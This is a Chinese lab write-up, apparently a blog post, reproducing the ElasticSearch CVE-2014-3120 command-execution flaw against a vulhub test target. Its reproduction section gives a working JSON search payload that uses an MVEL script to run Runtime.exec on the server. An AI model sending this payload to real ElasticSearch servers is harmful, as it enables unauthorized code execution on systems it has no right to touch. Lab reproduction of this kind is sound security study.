ElasticSearch(CVE-2014-3120)命令执行漏洞复现

ElasticSearch(CVE-2014-3120)命令执行漏洞复现


漏洞原理

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。
知识点普及:
1、Elasticsearch,是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。
2、Lucene,是apache软件基金会4 jakarta项目组的一个子项目,是一个开放源代码的全文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构,提供了完整的查询引擎和索引引擎,部分文本分析引擎。
3、沙盒,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。沙盒通常严格控制其中的程序所能访问的资源,所有改动对操作系统不会造成任何损失。

实验环境

一、靶机:
系统:ubuntu搭建的测试靶场
IP:192.168.88.129
二、攻击机:
系统:win10
IP:192.168.88.137

漏洞环境

启动ecshop:
在这里插入图片描述
环境启动后,可在浏览器页面成功访问
在这里插入图片描述
注:JSON是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。

漏洞复现

一、用burp抓包
在这里插入图片描述
二、利用该漏洞之前,es至少需要存在一条数据,通过以下请求包创建数据:
在这里插入图片描述注:
1、利用POST方式提交数据
2、文件名字任意
3、浏览器的原生 form 表单,如果不设置 enctype 属性,那么其中Content-Type字段最终会以 application/x-www-form-urlencoded 方式提交数据。
而对于"application/x-www-form-urlencoded",其参数组织形式是"键值对"。

三、利用命令执行漏洞,将一段java代码放进去
java代码:

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {}
        }
      }
    },
    "script_fields": {
        "command": {
            "script":"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

显示如下:
在这里插入图片描述
在这里插入图片描述
注:
在任意的查询字符串中增加pretty参数,会让Elasticsearch美化输出,JSON响应以便更加容易阅读。

参考链接:
https://vulhub.org/#/environments/elasticsearch/CVE-2014-3120/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值